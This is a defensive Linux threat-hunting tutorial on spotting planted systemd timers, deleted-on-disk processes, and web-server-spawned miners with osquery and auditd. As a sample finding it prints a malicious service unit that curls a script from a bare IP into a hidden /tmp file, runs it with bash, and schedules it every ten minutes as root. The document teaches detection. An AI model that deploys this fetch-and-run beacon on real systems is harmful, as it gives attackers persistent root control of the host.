Threat hunting on Linux

Hypothesis-driven, proactive searching.

A smoke detector waits. It sits on the ceiling, silent, until smoke of a shape it already recognizes reaches the sensor, and then it screams. That is a detection: automated, reactive, and only as good as the known-bad patterns someone loaded into it. Threat hunting is the fire inspector who walks the building on a normal Tuesday, opening electrical panels and checking the wiring nobody has flagged. A person, moving on purpose, looking for the intrusion your rules never fired on.

Hunting exists because no detection set is ever finished. The techniques you have not automated, and the new ones nobody has automated anywhere, get found by someone who goes looking. It is how you catch the compromise your alerts missed, and it is usually how the next alert gets written. The prize at the end of a good hunt is rarely only the words 'we found evil.' More often it is a new automated check, so a machine catches this same thing next time and you never have to hunt it by hand again.

Start With a Hypothesis, Not a Vibe

A hunt is a detective with a specific theory, not a tourist wandering the scene. 'Let me look around the servers' is a vibe. It has no finish line, so it never ends and never proves anything. A hypothesis names one concrete attacker behavior and the trace it would leave behind. Like this: 'If someone planted persistence with a systemd timer (systemd is the program that starts and supervises services on modern Linux, and a timer is its built-in scheduler, like a kitchen timer that runs a chore on a repeat), there will be a recently created .timer unit on disk pointing at an odd path. Let me find every timer unit that appeared in the last week.' That you can test. It has a clean yes or no at the bottom of it.

Hunt One: A Timer That Should Not Be There

systemd ships a command that lists every timer on the box and the service each one runs. Start there, on a single host, to see the shape of what you are looking at.

The list is inventory, not judgment. Nothing in it wears a label that says 'malicious', and sysupdate.timer looks as boring as the rest. What separates a planted unit from a shipped one is age. The packages that came with the operating system were written to disk when you built the image, weeks or months ago, while a freshly planted unit carries a fresh mtime (modification time, the timestamp the filesystem stamps on a file whenever its contents last change). So stop reading the pretty output and ask the filesystem a blunt question: which unit files are new?

Two files, born at 03:22 on the 14th, days after the box was built and while nobody was doing maintenance. That is the lead. Open the service unit it triggers and read what it actually runs.

[Unit]
Description=System update helper
 
[Service]
Type=oneshot
ExecStart=/usr/bin/curl -fsSL http://185.220.101.44/u.sh -o /tmp/.u
ExecStartPost=/bin/bash /tmp/.u

This is not an update. It reaches out to a bare IP address (Internet Protocol address, the numeric address of a machine on a network) with no hostname, pulls a shell script down into a hidden file (the leading dot on /tmp/.u hides it from a plain directory listing), and runs it. And the timer decides how often that happens.

[Unit]
Description=Run system update helper
 
[Timer]
OnBootSec=2min
OnUnitActiveSec=10min
Unit=sysupdate.service
 
[Install]
WantedBy=timers.target

Two minutes after every boot, then every ten minutes forever, running as root because system units run as root by default. That is a beacon: a command-and-control channel (C2, the attacker's remote-control line into your host) that wakes up on a schedule to fetch fresh instructions, wired to survive reboots. Your hypothesis is now proven on this host, and the same find query becomes the fleet-wide hunt: run it everywhere and see who else grew a new unit this week.

Hunt Two: A Process Whose File Is Gone

Attackers like to run from memory and erase their tracks on disk. A payload copies itself into a temporary folder, starts running, then deletes its own file. The program keeps executing in RAM (Random Access Memory, the computer's fast working memory that is wiped on reboot) while the file that launched it no longer exists. In building terms, the worker is still walking the halls after their ID badge has been cancelled and their desk cleared out. The paperwork says they are gone. The person is not.

osquery (a free tool that lets you ask questions about a machine's live state using SQL, the Structured Query Language that databases speak) turns the running-process list into a table you can query, on one host or ten thousand at once. Every process row has an on_disk column: 1 if the executable behind it still exists on disk, 0 if that backing file is gone. A process running from a file that no longer exists is a strong, low-noise lead.

kdevtmpfsi is the name a well-known cryptomining crew gives its miner, dressed up to look like a kernel thread. It is running from /tmp, its backing file has already been deleted, and it is talking to the same address the timer beacons to. That combination is not an accident. Someone got a foothold here. To learn how it started and as whom, pivot to the audit trail.

auditd (the Linux Audit daemon, a kernel feature that records security-relevant events like every program launch to a log userland cannot quietly edit) will have recorded the launch, if you told it to watch for one. The rule that captures every program start is short and belongs in a file under the audit rules directory.

## Log every program execution on a 64-bit host, tagged with a key we can search on
-a always,exit -F arch=b64 -S execve -k proc_exec

That rule watches for execve (the system call a process makes to replace itself with a new program, in plain words, 'run this binary'). With it in place, ask the audit log who ran the miner.

Now read the story straight off the record. The process ran as uid=www-data (uid is the user ID, the number Linux uses to identify a user, and www-data is the account web servers run under), which tells you the door in was almost certainly the web application. Its ppid=30991 (ppid is the parent process ID, the process that spawned this one) points back at whatever the web app shelled out to. A web server has no honest reason to launch a miner. This is no longer a hunt. It is an incident, and you have the entry point, the timestamp, and the C2 address to hand to response.

Anomaly Only Means Something Against a Baseline

You know your own kitchen so well that a mug moved four inches to the left catches your eye the second you walk in. A guest would never notice. That familiarity is the defender's edge, and the attacker does not have it. Most host hunting comes down to one question: what is unusual here? A process reaching an address it has never contacted before. A login at 3 a.m. from a country your team does not work in. A host running a binary that no other machine in the same role runs. A parent-child pair that has no business existing, like a database server spawning a shell that spawns curl. None of those mean anything until you know what normal looked like. The baselines you built to catch privilege escalation (an attacker turning limited access into full root or admin control) and persistence are the same ground you hunt over. The deviations are the leads.

Every Hunt Has to Leave You Better Off

Good hunting spends everything you learned about offense. You hunt for the escalation paths, the persistence spots, the stealth tricks, and the credential theft because you cannot form a hypothesis about behavior you do not understand. The privilege-escalation audit you wrote, the persistence sweep, the rootkit discrepancy check (comparing what the kernel reports against what ordinary tools report, to catch something hiding, where a rootkit is software that conceals an attacker's presence) are all hunts. Run them on demand when a threat report lands, and on a schedule so they compound. Here is the discipline that makes it pay off: a hunt that finds nothing is fine, but only if it ends in a new automated detection or a sharper baseline. A hunt that finds nothing and changes nothing is an afternoon you will not get back.

So before you close the ticket on today's hunt, take the query that would have caught it and put it on a schedule. Write down what the timer list, the process table, and the login times looked like while everything was fine, and store that next to the query. Next quarter, when someone plants the same kind of timer, a machine catches it while you are asleep, and you get to spend your Tuesday afternoon hunting the thing nobody has automated yet.

Try this

Work through “Every Hunt Has to Leave You Better Off” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: on_disk = 0 has a loud false positive. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related